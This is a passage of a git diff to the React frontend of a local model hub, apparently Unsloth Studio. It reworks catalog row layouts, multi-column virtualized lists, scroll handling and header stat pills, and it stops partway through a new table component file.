+    !isDataset && (formatLabel || paramLabel || quantLabel) ? (
+      <div className="hidden shrink-0 items-center gap-1.5 sm:flex">
+        {/* Format already shows as the status dot, so the pill stays neutral. */}
+        {formatLabel && <span className="hub-chip">{formatLabel}</span>}
+        {paramLabel && <span className="hub-chip tabular-nums">{paramLabel}</span>}
+        {quantLabel && (
+          <span className="hub-chip font-mono text-[10.5px] uppercase">
+            {quantLabel}
+          </span>
+        )}
+      </div>
+    ) : null;
+
+  // On-disk size for cached repos, else local source or last-modified date.
+  const sourceLabel = row.kind === "local" ? row.sourceLabel : null;
+
+  const statusMarkers = (
+    <>
+      {row.isGguf && (
+        <span
+          role="img"
+          aria-label="GGUF"
+          className="inline-block size-[5px] shrink-0 rounded-full bg-format-gguf"
+        />
+      )}
+      {row.modelFormat === "adapter" && (
+        <span
+          role="img"
+          aria-label="Adapter"
+          className="inline-block size-[5px] shrink-0 rounded-full bg-format-adapter"
+        />
+      )}
+      {partialRepoId ? (
+        <StatusDot tone="warning" label="Partial download" />
+      ) : (
+        <StatusDot tone="success" label="On device" />
+      )}
+      {unsupported && (
+        <StatusDot tone="danger" label="May not be supported yet" />
+      )}
+    </>
+  );
+
+  // Compact rows are all on-device, so the format dots are noise: surface only
+  // exceptional states; format + params move to the meta line.
+  const compactMarkers =
+    partialRepoId || unsupported ? (
+      <span className="flex shrink-0 items-center gap-1">
+        {partialRepoId && (
+          <StatusDot tone="warning" label="Partial download" />
+        )}
+        {unsupported && (
+          <StatusDot tone="danger" label="May not be supported yet" />
+        )}
+      </span>
+    ) : null;
+
+  const ownerLine = (
+    <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[11.5px] leading-[15px] text-muted-foreground/80">
+      <span className="truncate">{subLabel}</span>
+      {subLabel.toLowerCase() === "unsloth" && (
+        <span
+          aria-label="Verified Unsloth"
+          className="hub-verified-badge size-3.5 shrink-0 text-primary"
+        />
+      )}
+    </span>
+  );
+
+  const deleteAction =
+    canDelete && cacheDeletableRepoId ? (
+      <ModelDeleteAction
+        ariaLabel={`Delete ${cacheDeletableRepoId}`}
+        title={isDataset ? "Delete cached dataset?" : "Delete cached model?"}
+        description={
+          <>
+            This will remove{" "}
+            <span className="font-medium text-foreground">
+              {cacheDeletableRepoId}
+            </span>{" "}
+            {isDataset
+              ? "and its downloaded files"
+              : row.isGguf
+                ? "and all of its downloaded quantizations"
+                : "and all of its downloaded files"}
+            {row.kind === "cache" ? ` (${formatBytes(row.bytes)})` : ""} from
+            disk. You can re-download it later.
+          </>
+        }
+        successMessage={`Deleted ${cacheDeletableRepoId}`}
+        buttonClassName="pointer-events-auto hub-modal-pe-guard p-2 opacity-0 transition-opacity group-hover/row:opacity-100 focus-visible:opacity-100 data-[state=open]:opacity-100 [@media(pointer:coarse)]:opacity-100"
+        iconClassName="size-4"
+        onConfirm={async () => {
+          if (isDataset) {
+            await deleteCachedDataset(cacheDeletableRepoId);
+          } else {
+            await deleteCachedModel(cacheDeletableRepoId);
+          }
+        }}
+        onDeleted={onChange}
+      />
+    ) : null;
+
+  // Compact master pane: drop the capability column and collapse size + date
+  // into one trailing group so the name keeps the whole middle.
+  if (compact) {
+    return (
+      <CatalogRow
+        variant="flat"
+        selected={selected}
+        active={active}
+        tooltip={tooltip}
+        label={title}
+        onClick={handleClick}
+      >
+        <div
+          className={cn(
+            "flex w-full items-center gap-2.5 transition-opacity",
+            dimmed && "opacity-25 group-hover/row:opacity-60",
+          )}
+        >
+          <OwnerAvatar
+            owner={row.owner}
+            repoName={title}
+            className="size-8 shrink-0 rounded-[9px] text-[12px]"
+            remote={false}
+          />
+          <div className="min-w-0 flex-1">
+            <div className="flex min-w-0 items-center gap-1.5">
+              <span className="truncate text-[12.5px] font-semibold leading-[16px] text-foreground">
+                {title}
+              </span>
+              {compactMarkers}
+            </div>
+            <span className="mt-0.5 flex min-w-0 items-center gap-1.5 text-[10.5px] leading-[14px] text-muted-foreground/75">
+              <span className="flex min-w-0 items-center gap-1">
+                <span className="truncate">{subLabel}</span>
+                {subLabel.toLowerCase() === "unsloth" && (
+                  <span
+                    aria-label="Verified Unsloth"
+                    className="hub-verified-badge size-3 shrink-0 text-primary"
+                  />
+                )}
+              </span>
+              {formatLabel && (
+                <>
+                  <MetaDivider />
+                  <span className="shrink-0">{formatLabel}</span>
+                </>
+              )}
+              {paramLabel && (
+                <>
+                  <MetaDivider />
+                  <span className="shrink-0 tabular-nums">{paramLabel}</span>
+                </>
+              )}
+            </span>
+          </div>
+          <div className="flex shrink-0 items-center gap-2 text-[10.5px] tabular-nums text-muted-foreground/70">
+            {row.kind === "cache" ? (
+              <CachedSizeChip
+                repoId={row.repoId}
+                totalBytes={row.bytes}
+                isGguf={row.isGguf}
+                isDataset={isDataset}
+                cachePath={row.cachePath}
+              />
+            ) : trailing ? (
+              <span>{trailing}</span>
+            ) : null}
+            {deleteAction}
+          </div>
+        </div>
+      </CatalogRow>
+    );
+  }
 
   return (
     <CatalogRow
+      variant="card"
       selected={selected}
       active={active}
       tooltip={tooltip}
@@ -602,111 +837,53 @@ export const InventoryRow = memo(function InventoryRow({
     >
       <div
         className={cn(
-          "flex items-center gap-3 transition-opacity",
+          "flex w-full items-center gap-3 transition-opacity",
           dimmed && "opacity-25 group-hover/row:opacity-60",
         )}
       >
-        <OwnerAvatar
-          owner={row.owner}
-          repoName={title}
-          className="size-8 rounded-[9px]"
-        />
-        <div className="flex min-w-0 flex-1 flex-col gap-[3px]">
-          <div className="flex h-[18px] min-w-0 items-center justify-between gap-2">
-            <div className="flex min-w-0 items-center gap-1.5 pr-2">
-              <p className="truncate text-[12px] font-medium leading-[18px] tracking-[-0.005em] text-foreground">
+        <div className="flex min-w-0 flex-1 items-center gap-3">
+          <OwnerAvatar
+            owner={row.owner}
+            repoName={title}
+            className="size-9 rounded-[12px]"
+            remote={false}
+          />
+          <div className="min-w-0 flex-1">
+            <div className="flex min-w-0 items-center gap-1.5">
+              <span className="truncate text-[13.5px] font-semibold leading-[17px] text-foreground">
                 {title}
-              </p>
-              {row.isGguf && (
-                <span
-                  role="img"
-                  aria-label="GGUF"
-                  className="inline-block size-[5px] shrink-0 rounded-full bg-format-gguf"
-                />
-              )}
-              {row.modelFormat === "adapter" && (
-                <span
-                  role="img"
-                  aria-label="Adapter"
-                  className="inline-block size-[5px] shrink-0 rounded-full bg-format-adapter"
-                />
-              )}
-              {partialRepoId ? (
-                <StatusDot tone="warning" label="Partial download" />
-              ) : (
-                <StatusDot tone="success" label="On device" />
-              )}
-              {unsupported && (
-                <StatusDot tone="danger" label="May not be supported yet" />
-              )}
-            </div>
-            <div className="flex shrink-0 items-center gap-1">
-              {canDelete && cacheDeletableRepoId && (
-                <ModelDeleteAction
-                  ariaLabel={`Delete ${cacheDeletableRepoId}`}
-                  title={
-                    isDataset
-                      ? "Delete cached dataset?"
-                      : "Delete cached model?"
-                  }
-                  description={
-                    <>
-                      This will remove{" "}
-                      <span className="font-medium text-foreground">
-                        {cacheDeletableRepoId}
-                      </span>{" "}
-                      {isDataset
-                        ? "and its downloaded files"
-                        : row.isGguf
-                          ? "and all of its downloaded quantizations"
-                          : "and all of its downloaded files"}
-                      {row.kind === "cache"
-                        ? ` (${formatBytes(row.bytes)})`
-                        : ""}{" "}
-                      from disk. You can re-download it later.
-                    </>
-                  }
-                  successMessage={`Deleted ${cacheDeletableRepoId}`}
-                  buttonClassName="pointer-events-auto hub-modal-pe-guard opacity-0 transition-opacity group-hover/row:opacity-100 focus-visible:opacity-100 data-[state=open]:opacity-100 [@media(pointer:coarse)]:opacity-100"
-                  iconClassName="size-3.5"
-                  onConfirm={async () => {
-                    if (isDataset) {
-                      await deleteCachedDataset(cacheDeletableRepoId);
-                    } else {
-                      await deleteCachedModel(cacheDeletableRepoId);
-                    }
-                  }}
-                  onDeleted={onChange}
-                />
-              )}
-              {row.kind === "cache" && (
-                <CachedSizeChip
-                  repoId={row.repoId}
-                  totalBytes={row.bytes}
-                  isGguf={row.isGguf}
-                  isDataset={isDataset}
-                  cachePath={row.cachePath}
-                />
-              )}
-            </div>
-          </div>
-          <div className="flex h-[16px] min-w-0 items-center justify-between gap-2 text-[11.5px] leading-[16px] text-muted-foreground/85">
-            <span className="flex min-w-0 items-center gap-1">
-              <span className="truncate">{subLabel}</span>
-              {subLabel.toLowerCase() === "unsloth" && (
-                <span
-                  aria-label="Verified Unsloth"
-                  className="hub-verified-badge size-3.5 shrink-0 text-primary"
-                />
-              )}
-            </span>
-            {trailing && (
-              <span className="shrink-0 text-[10.5px] tabular-nums">
-                {trailing}
               </span>
-            )}
+              {statusMarkers}
+            </div>
+            {ownerLine}
           </div>
         </div>
+
+        {metaChips}
+
+        <div className="flex w-[96px] shrink-0 items-center justify-end text-right">
+          {row.kind === "cache" ? (
+            <CachedSizeChip
+              repoId={row.repoId}
+              totalBytes={row.bytes}
+              isGguf={row.isGguf}
+              isDataset={isDataset}
+              cachePath={row.cachePath}
+            />
+          ) : trailing ? (
+            <span className="truncate text-[11.5px] tabular-nums text-muted-foreground/70">
+              {trailing}
+            </span>
+          ) : sourceLabel ? (
+            <span className="truncate text-[11.5px] text-muted-foreground/55">
+              {sourceLabel}
+            </span>
+          ) : null}
+        </div>
+
+        <div className="flex w-9 shrink-0 items-center justify-end">
+          {deleteAction}
+        </div>
       </div>
     </CatalogRow>
   );
@@ -719,19 +896,35 @@ export function VirtualRows<T>({
   scrollElement,
   getKey,
   renderRow,
+  scrollMargin = 0,
+  columns = 1,
+  rowHeight = CATALOG_ROW_HEIGHT_PX,
+  cellHeight = rowHeight,
+  columnGap = 12,
 }: {
   items: readonly T[];
   scrollElement: HTMLDivElement | null;
   getKey: (item: T, index: number) => string;
   renderRow: (item: T) => ReactNode;
+  scrollMargin?: number;
+  columns?: number;
+  rowHeight?: number;
+  cellHeight?: number;
+  columnGap?: number;
 }) {
+  const lanes = Math.max(1, columns);
+  const rowCount = Math.ceil(items.length / lanes);
   // eslint-disable-next-line react-hooks/incompatible-library
   const virtualizer = useVirtualizer({
-    count: items.length,
+    count: rowCount,
     getScrollElement: () => scrollElement,
-    estimateSize: () => CATALOG_ROW_HEIGHT_PX,
+    estimateSize: () => rowHeight,
     overscan: 10,
-    getItemKey: (index) => getKey(items[index], index),
+    scrollMargin,
+    getItemKey: (rowIndex) => {
+      const item = items[rowIndex * lanes];
+      return item ? getKey(item, rowIndex * lanes) : `row-${rowIndex}`;
+    },
   });
 
   return (
@@ -743,26 +936,51 @@ export function VirtualRows<T>({
         overflowAnchor: "none",
       }}
     >
-      {virtualizer.getVirtualItems().map((virtualRow) => (
-        <li
-          key={virtualRow.key}
-          data-index={virtualRow.index}
-          style={{
-            position: "absolute",
-            top: 0,
-            left: 0,
-            width: "100%",
-            transform: `translateY(${virtualRow.start}px)`,
-            // Lock rows to estimateSize with no measureElement ref: per-mount
-            // measurement churns the virtualizer (re-renders + offset recompute)
-            // that reads as a jump. A fixed matching height keeps appends stable.
-            height: `${CATALOG_ROW_HEIGHT_PX}px`,
-            contain: "layout paint",
-          }}
-        >
-          {renderRow(items[virtualRow.index])}
-        </li>
-      ))}
+      {virtualizer.getVirtualItems().map((virtualRow) => {
+        const startIndex = virtualRow.index * lanes;
+        return (
+          <li
+            key={virtualRow.key}
+            data-index={virtualRow.index}
+            style={{
+              position: "absolute",
+              top: 0,
+              left: 0,
+              width: "100%",
+              transform: `translateY(${virtualRow.start - scrollMargin}px)`,
+              // Fixed height matching estimateSize (no measureElement ref):
+              // dynamic per-row measurement churns virtualizer state and causes
+              // visible jumps as new rows arrive.
+              height: `${rowHeight}px`,
+              contain: "layout",
+            }}
+          >
+            <div
+              style={{
+                display: "grid",
+                gridTemplateColumns: `repeat(${lanes}, minmax(0, 1fr))`,
+                columnGap: `${columnGap}px`,
+                height: `${cellHeight}px`,
+              }}
+            >
+              {Array.from({ length: lanes }, (_, lane) => {
+                const item = items[startIndex + lane];
+                if (item === undefined) {
+                  return <div key={`empty-${lane}`} />;
+                }
+                return (
+                  <div
+                    key={getKey(item, startIndex + lane)}
+                    className="min-w-0"
+                  >
+                    {renderRow(item)}
+                  </div>
+                );
+              })}
+            </div>
+          </li>
+        );
+      })}
     </ul>
   );
 }
diff --git a/studio/frontend/src/features/hub/catalog/models-catalog.tsx b/studio/frontend/src/features/hub/catalog/models-catalog.tsx
index c033837468..344f5deb49 100644
--- a/studio/frontend/src/features/hub/catalog/models-catalog.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-catalog.tsx
@@ -4,6 +4,7 @@
 import { usePlatformStore } from "@/config/env";
 import { cn } from "@/lib/utils";
 import {
+  type ReactNode,
   type RefObject,
   memo,
   useCallback,
@@ -23,7 +24,13 @@ import {
   DownloadedList,
   InventoryWarningRow,
 } from "./models-catalog-lists";
-import { CATALOG_ROW_HEIGHT_PX } from "./models-catalog-rows";
+import {
+  type AllModelsView,
+  type InventorySort,
+  RESULT_GRID_ROW_HEIGHT_PX,
+  RESULT_ROW_HEIGHT_PX,
+  RESULT_SPLIT_ROW_HEIGHT_PX,
+} from "./models-table";
 
 export interface ModelsCatalogState {
   tab: ModelsTab;
@@ -72,10 +79,22 @@ export const ModelsCatalog = memo(function ModelsCatalog({
   state,
   pagination,
   handlers,
+  header,
+  downloadedHeader,
+  suppressEmptyState = false,
+  resetScrollKey,
+  discoverView,
+  inventorySort,
 }: {
   state: ModelsCatalogState;
   pagination: ModelsCatalogPagination;
   handlers: ModelsCatalogHandlers;
+  header?: ReactNode;
+  downloadedHeader?: ReactNode;
+  suppressEmptyState?: boolean;
+  resetScrollKey?: string;
+  discoverView: AllModelsView;
+  inventorySort: InventorySort;
 }) {
   const {
     tab,
@@ -97,7 +116,6 @@ export const ModelsCatalog = memo(function ModelsCatalog({
     scannedCount,
     loadingIntentCount,
     hasMore,
-    manualFetchAvailable,
     hasActiveFilters,
   } = state;
   const { scrollRef, sentinelRef, isLoadingMore } = pagination;
@@ -111,18 +129,21 @@ export const ModelsCatalog = memo(function ModelsCatalog({
   } = handlers;
   const [scrolled, setScrolled] = useState(false);
   const [streamingActive, setStreamingActive] = useState(false);
+  const [discoverHeaderHeight, setDiscoverHeaderHeight] = useState(0);
+  const headerRef = useRef<HTMLDivElement>(null);
+  const lastHeaderHeightRef = useRef(0);
+  const previousResetScrollKeyRef = useRef(resetScrollKey);
   const previousScannedCountRef = useRef(scannedCount);
   const previousLoadingIntentRef = useRef(loadingIntentCount);
   const discoverScrollRef = useRef<HTMLDivElement>(null);
   const downloadedScrollRef = useRef<HTMLDivElement>(null);
-  const [discoverScrollEl, setDiscoverScrollEl] = useState<HTMLDivElement | null>(
-    null,
-  );
+  const [discoverScrollEl, setDiscoverScrollEl] =
+    useState<HTMLDivElement | null>(null);
   const [downloadedScrollEl, setDownloadedScrollEl] =
     useState<HTMLDivElement | null>(null);
   const activeTabRef = useRef(tab);
-  // Per-tab scroll positions. Some browsers drop the hidden pane's scrollTop, so
-  // mirror it live via the scroll listener and restore on tab entry.
+  // Per-tab scroll positions: some browsers drop the hidden pane's scrollTop,
+  // so mirror it live via the scroll listener and restore on tab entry.
   const savedScrollTopsRef = useRef<Record<ModelsTab, number>>({
     discover: 0,
     downloaded: 0,
@@ -143,9 +164,9 @@ export const ModelsCatalog = memo(function ModelsCatalog({
     setDownloadedScrollEl(node);
   }, []);
 
-  // Restore the incoming pane's scrollTop and rebind scrollRef. Don't read scrollTop
-  // off the outgoing pane: overflow toggling can clamp it to 0 before this runs, so
-  // trust the live listener mirror instead and avoid that race.
+  // Restore the incoming pane's scrollTop and rebind scrollRef. Don't read
+  // scrollTop off the outgoing pane: overflow toggling can clamp it to 0 before
+  // this runs, so trust the live listener mirror instead and avoid that race.
   useLayoutEffect(() => {
     let restoreFrame: number | null = null;
     const previousTab = activeTabRef.current;
@@ -178,7 +199,9 @@ export const ModelsCatalog = memo(function ModelsCatalog({
     activeTabRef.current = tab;
     assignRef(scrollRef, nextEl);
     const nextScrolled = (nextEl?.scrollTop ?? 0) > 0;
-    setScrolled((current) => (current === nextScrolled ? current : nextScrolled));
+    setScrolled((current) =>
+      current === nextScrolled ? current : nextScrolled,
+    );
     return () => {
       if (restoreFrame !== null) {
         window.cancelAnimationFrame(restoreFrame);
@@ -235,6 +258,57 @@ export const ModelsCatalog = memo(function ModelsCatalog({
     [scrollRef],
   );
 
+  useLayoutEffect(() => {
+    if (resetScrollKey === previousResetScrollKeyRef.current) {
+      return;
+    }
+    previousResetScrollKeyRef.current = resetScrollKey;
+    const el = discoverScrollRef.current;
+    if (el) {
+      el.scrollTop = 0;
+    }
+    savedScrollTopsRef.current.discover = 0;
+  }, [resetScrollKey]);
+
+  useLayoutEffect(() => {
+    if (tab !== "discover") {
+      return;
+    }
+    const node = headerRef.current;
+    if (!node) {
+      lastHeaderHeightRef.current = 0;
+      setDiscoverHeaderHeight((current) => (current === 0 ? current : 0));
+      return;
+    }
+    let frame: number | null = null;
+    const measure = () => {
+      frame = null;
+      const next = node.offsetHeight;
+      if (next !== lastHeaderHeightRef.current) {
+        lastHeaderHeightRef.current = next;
+        setDiscoverHeaderHeight(next);
+      }
+    };
+    const schedule = () => {
+      if (frame !== null) {
+        return;
+      }
+      frame = window.requestAnimationFrame(measure);
+    };
+    measure();
+    let observer: ResizeObserver | null = null;
+    if (typeof ResizeObserver !== "undefined") {
+      observer = new ResizeObserver(schedule);
+      observer.observe(node);
+    }
+    return () => {
+      if (frame !== null) {
+        window.cancelAnimationFrame(frame);
+      }
+      observer?.disconnect();
+    };
+  }, [tab, header]);
+
   useEffect(() => {
     // Only the Discover tab drives the streaming loading bar.
     if (tab !== "discover") {
@@ -257,7 +331,9 @@ export const ModelsCatalog = memo(function ModelsCatalog({
       nextActive = true;
       linger = true;
     }
-    setStreamingActive((current) => (current === nextActive ? current : nextActive));
+    setStreamingActive((current) =>
+      current === nextActive ? current : nextActive,
+    );
     const timer = linger
       ? window.setTimeout(() => setStreamingActive(false), 1400)
       : null;
@@ -269,31 +345,47 @@ export const ModelsCatalog = memo(function ModelsCatalog({
   }, [tab, isLoading, isLoadingMore, scannedCount, loadingIntentCount]);
 
   const showDiscoverLoading = tab === "discover" && streamingActive;
-  // overflow-y stays `auto` on BOTH panes: toggling to `hidden` would clamp the
-  // inactive pane's scrollTop to 0 and corrupt our mirror. Visibility +
+  // overflow-y stays `auto` on BOTH panes: toggling to `hidden` clamps the
+  // inactive pane's scrollTop to 0 and corrupts the mirror; visibility +
   // pointer-events-none hides it while preserving native scroll state.
+  // Non-split reserves an equal `both-edges` gutter so the centered 1100px
+  // column stays symmetric and aligned with the top bar; split mode pins a
+  // narrow master left, so it reserves only the right (divider) gutter.
   const scrollPaneClassName =
-    "absolute inset-0 min-h-0 overflow-y-auto pb-6 pl-4 pr-3 pt-0 [overflow-anchor:none] [scrollbar-gutter:stable] [scrollbar-width:thin]";
+    "absolute inset-0 min-h-0 overflow-x-hidden overflow-y-auto pb-6 pt-0 [overflow-anchor:none] [scrollbar-width:thin] " +
+    (discoverView === "split"
+      ? "[scrollbar-gutter:stable]"
+      : "[scrollbar-gutter:stable_both-edges]");
+  // Split mode keeps the top bar's left padding to align the list header but
+  // tightens the right padding so compact rows run wider toward the divider.
+  const splitView = discoverView === "split";
+  const discoverColumnClassName = splitView
+    ? "mx-auto w-full max-w-[1100px] pl-5 pr-2 sm:pl-8"
+    : "mx-auto w-full max-w-[1100px] px-5 sm:px-8";
+  const downloadedColumnClassName = splitView
+    ? "mx-auto w-full max-w-[1100px] pl-5 pr-2 sm:pl-8"
+    : "mx-auto w-full max-w-[1100px] px-5 sm:px-8";
   const discoverActive = tab === "discover";
   const downloadedActive = tab === "downloaded";
   const discoverInactiveHeight = Math.max(
     savedScrollHeightsRef.current.discover,
-    discoverRows.length * CATALOG_ROW_HEIGHT_PX,
+    (discoverView === "two"
+      ? Math.ceil(discoverRows.length / 2)
+      : discoverRows.length) *
+      (discoverView === "grid"
+        ? RESULT_GRID_ROW_HEIGHT_PX
+        : discoverView === "split"
+          ? RESULT_SPLIT_ROW_HEIGHT_PX
+          : RESULT_ROW_HEIGHT_PX) +
+      lastHeaderHeightRef.current,
   );
   const downloadedInactiveHeight = Math.max(
     savedScrollHeightsRef.current.downloaded,
-    (cachedRows.length + localRows.length) * CATALOG_ROW_HEIGHT_PX,
+    (cachedRows.length + localRows.length) * RESULT_GRID_ROW_HEIGHT_PX,
   );
 
   return (
     <div className="relative flex h-full min-h-0 flex-1 flex-col overflow-hidden">
-      <div
-        aria-hidden="true"
-        className={cn(
-          "mx-5 shrink-0 border-t transition-colors",
-          scrolled ? "border-border" : "border-transparent",
-        )}
-      />
       {/* Banner sits outside the scroll container so toggling it never shifts virtualized rows. */}
       {downloadedActive && inventoryWarning && (
         <InventoryWarningRow
@@ -302,6 +394,11 @@ export const ModelsCatalog = memo(function ModelsCatalog({
         />
       )}
       <div className="relative min-h-0 flex-1">
+        <div
+          aria-hidden="true"
+          data-scrolled={scrolled || undefined}
+          className="hub-scroll-fade pointer-events-none absolute inset-x-0 top-0 z-10 h-7"
+        />
         <div
           ref={setDiscoverScrollNode}
           data-hub-scroll="true"
@@ -313,29 +410,33 @@ export const ModelsCatalog = memo(function ModelsCatalog({
           )}
         >
           {discoverActive ? (
-            <DiscoverList
-              discoverRows={discoverRows}
-              selectedId={selectedId}
-              onSelect={onSelect}
-              isLoading={isLoading}
-              query={query}
-              scrollElement={discoverScrollEl}
-              sentinelRef={sentinelRef}
-              activeCheckpoint={activeCheckpoint}
-              searchError={searchError}
-              online={online}
-              isDataset={isDataset}
-              deviceType={deviceType}
-              scannedCount={scannedCount}
-              isLoadingMore={isLoadingMore}
-              hasMore={hasMore}
-              manualFetchAvailable={manualFetchAvailable}
-              hasActiveFilters={hasActiveFilters}
-              onFetchMore={onFetchMore}
-              onClearFilters={onClearFilters}
-              onRetry={onRetry}
-              onSwitchDevice={onSwitchDevice}
-            />
+            <div className={discoverColumnClassName}>
+              {header ? <div ref={headerRef}>{header}</div> : null}
+              <DiscoverList
+                discoverRows={discoverRows}
+                onSelect={onSelect}
+                isLoading={isLoading}
+                query={query}
+                scrollElement={discoverScrollEl}
+                scrollMargin={discoverHeaderHeight}
+                suppressEmptyState={suppressEmptyState}
+                sentinelRef={sentinelRef}
+                searchError={searchError}
+                online={online}
+                isDataset={isDataset}
+                deviceType={deviceType}
+                scannedCount={scannedCount}
+                isLoadingMore={isLoadingMore}
+                hasMore={hasMore}
+                hasActiveFilters={hasActiveFilters}
+                onFetchMore={onFetchMore}
+                onClearFilters={onClearFilters}
+                onRetry={onRetry}
+                onSwitchDevice={onSwitchDevice}
+                view={discoverView}
+                selectedId={selectedId}
+              />
+            </div>
           ) : (
             <div
               aria-hidden="true"
@@ -354,22 +455,32 @@ export const ModelsCatalog = memo(function ModelsCatalog({
           )}
         >
           {downloadedActive ? (
-            <DownloadedList
-              cachedRows={cachedRows}
-              localRows={localRows}
-              selectedId={selectedId}
-              onSelect={onSelect}
-              downloadedReady={downloadedReady}
-              inventoryError={inventoryError}
-              query={query}
-              scrollElement={downloadedScrollEl}
-              activeCheckpoint={activeCheckpoint}
-              activeGgufVariant={activeGgufVariant}
-              isDataset={isDataset}
-              inventoryTokens={inventoryTokens}
-              deviceType={deviceType}
-              onInventoryChange={onInventoryChange}
-            />
+            <div className={downloadedColumnClassName}>
+              {downloadedHeader ? (
+                <div className="flex flex-col gap-3 pt-6">
+                  {downloadedHeader}
+                </div>
+              ) : null}
+              <DownloadedList
+                cachedRows={cachedRows}
+                localRows={localRows}
+                selectedId={selectedId}
+                onSelect={onSelect}
+                downloadedReady={downloadedReady}
+                inventoryError={inventoryError}
+                query={query}
+                scrollElement={downloadedScrollEl}
+                activeCheckpoint={activeCheckpoint}
+                activeGgufVariant={activeGgufVariant}
+                isDataset={isDataset}
+                inventoryTokens={inventoryTokens}
+                deviceType={deviceType}
+                compact={splitView}
+                columns={discoverView === "two" ? 2 : 1}
+                sort={inventorySort}
+                onInventoryChange={onInventoryChange}
+              />
+            </div>
           ) : (
             <div
               aria-hidden="true"
diff --git a/studio/frontend/src/features/hub/catalog/models-header.tsx b/studio/frontend/src/features/hub/catalog/models-header.tsx
index 04a6e6c718..f5afce5c59 100644
--- a/studio/frontend/src/features/hub/catalog/models-header.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-header.tsx
@@ -9,13 +9,12 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import { cn } from "@/lib/utils";
 import {
   ChipIcon,
   Database02Icon,
-  RemoveCircleIcon,
   PackageIcon,
   RamMemoryIcon,
+  RemoveCircleIcon,
 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -24,30 +23,17 @@ function StatPill({
   icon,
   label,
   value,
-  tone = "default",
 }: {
   icon: IconSvgElement;
   label: string;
   value: string;
-  tone?: "default" | "active";
 }) {
   return (
-    <Tooltip>
-      <TooltipTrigger asChild>
-        <div
-          className={cn(
-            "inline-flex cursor-default items-center gap-1.5 px-2.5 py-1 text-[11.5px] transition-colors duration-150",
-            tone === "active"
-              ? "rounded-full bg-emerald-500/10 text-emerald-700 ring-1 ring-inset ring-emerald-500/20 dark:text-emerald-300"
-              : "hub-tag-soft text-muted-foreground hover:text-foreground/80",
-          )}
-        >
-          <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-3.5" />
-          <span className="font-medium tabular-nums">{value}</span>
-        </div>
-      </TooltipTrigger>
-      <TooltipContent className="tooltip-compact">{label}</TooltipContent>
-    </Tooltip>
+    <span className="hub-stat-pill">
+      <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-3.5" />
+      <span className="hub-stat-pill-value">{value}</span>
+      <span>{label}</span>
+    </span>
   );
 }
 
@@ -59,6 +45,7 @@ export function ModelsHeader({
   ramLabel,
   activeCheckpoint,
   activeGgufVariant,
+  onTitleClick,
   onEject,
 }: {
   cachedCount: number;
@@ -68,20 +55,22 @@ export function ModelsHeader({
   ramLabel: string;
   activeCheckpoint: string | null;
   activeGgufVariant: string | null;
+  onTitleClick: () => void;
   onEject: () => void;
 }) {
   return (
     <header className="font-heading flex flex-col gap-3 sm:flex-row sm:flex-wrap sm:items-center sm:justify-between">
       <PageHeading
         title="Hub"
+        onTitleClick={onTitleClick}
         subtitle={
           isDataset
             ? "Discover, download, and train on datasets locally."
-            : "Discover, download, and run models locally."
+            : "Discover, download, and run inference models locally."
         }
       />
 
-      <div className="flex flex-wrap items-center gap-1.5">
+      <div className="flex min-w-0 flex-wrap items-center justify-end gap-1.5 sm:flex-1">
         <HfTokenIndicator />
         <TransportToggle />
         <StatPill
diff --git a/studio/frontend/src/features/hub/catalog/models-table.tsx b/studio/frontend/src/features/hub/catalog/models-table.tsx
new file mode 100644
index 0000000000..a62806dcb6
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/models-table.tsx
@@ -0,0 +1,894 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import { classifyUnslothSupport } from "@/features/hub/hooks/use-hub-model-search";
+import {
+  formatRelativeLong,
+  formatRelativeShort,
+} from "@/features/hub/lib/format";
+import {
+  formatModelParamLabel,
+  formatPipelineTag,
+} from "@/features/hub/lib/view-models";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { cn, formatCompact } from "@/lib/utils";
+import {
+  ArrowLeft01Icon,
+  Copy01Icon,
+  Download01Icon,
+  FavouriteIcon,
+  LayoutTwoColumnIcon,
+  LeftToRightListBulletIcon,
+  LinkSquare02Icon,
+  MoreVerticalIcon,
+  Refresh01Icon,
+  ViewSidebarLeftIcon,
+} from "@hugeicons/core-free-icons";
+import type { IconSvgElement } from "@hugeicons/react";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { Fragment, type ReactNode, memo, useMemo } from "react";
+import { confirmExternalLink } from "../stores/external-link-confirm";
+import type { DiscoverRow } from "../types";
+import { HubOptionMenu } from "./hub-option-menu";
+import { buildRowStatusTooltip } from "./models-catalog-rows";
+import { OwnerAvatar } from "./owner-avatar";
+import { AccessGlyphs, CapabilityPill } from "./shared";
+
+export const RESULT_CARD_HEIGHT_PX = 78;
+export const RESULT_ROW_GAP_PX = 8;
+export const RESULT_ROW_HEIGHT_PX = RESULT_CARD_HEIGHT_PX + RESULT_ROW_GAP_PX;
+export const RESULT_GRID_HEIGHT_PX = 64;
+export const RESULT_GRID_ROW_GAP_PX = 8;
+export const RESULT_GRID_ROW_HEIGHT_PX =
+  RESULT_GRID_HEIGHT_PX + RESULT_GRID_ROW_GAP_PX;
+// Compact rows for the split-view master pane.
+export const RESULT_SPLIT_HEIGHT_PX = 56;
+export const RESULT_SPLIT_ROW_HEIGHT_PX =
+  RESULT_SPLIT_HEIGHT_PX + RESULT_ROW_GAP_PX;
+
+export type AllModelsView = "grid" | "two" | "split";
+
+// Shared column widths so header and rows align: two flexible lead columns
+// (Model, Capabilities) plus fixed metric columns that drop on narrow viewports.
+const LIST_COLS = {
+  model: "flex min-w-0 flex-[2.4] items-center gap-3",
+  caps: "hidden min-w-0 flex-[1.7] items-center gap-1.5 md:flex",
+  capsModel: "hidden w-[132px] shrink-0 items-center gap-1.5 md:flex",
+  size: "hidden w-[60px] shrink-0 lg:block",
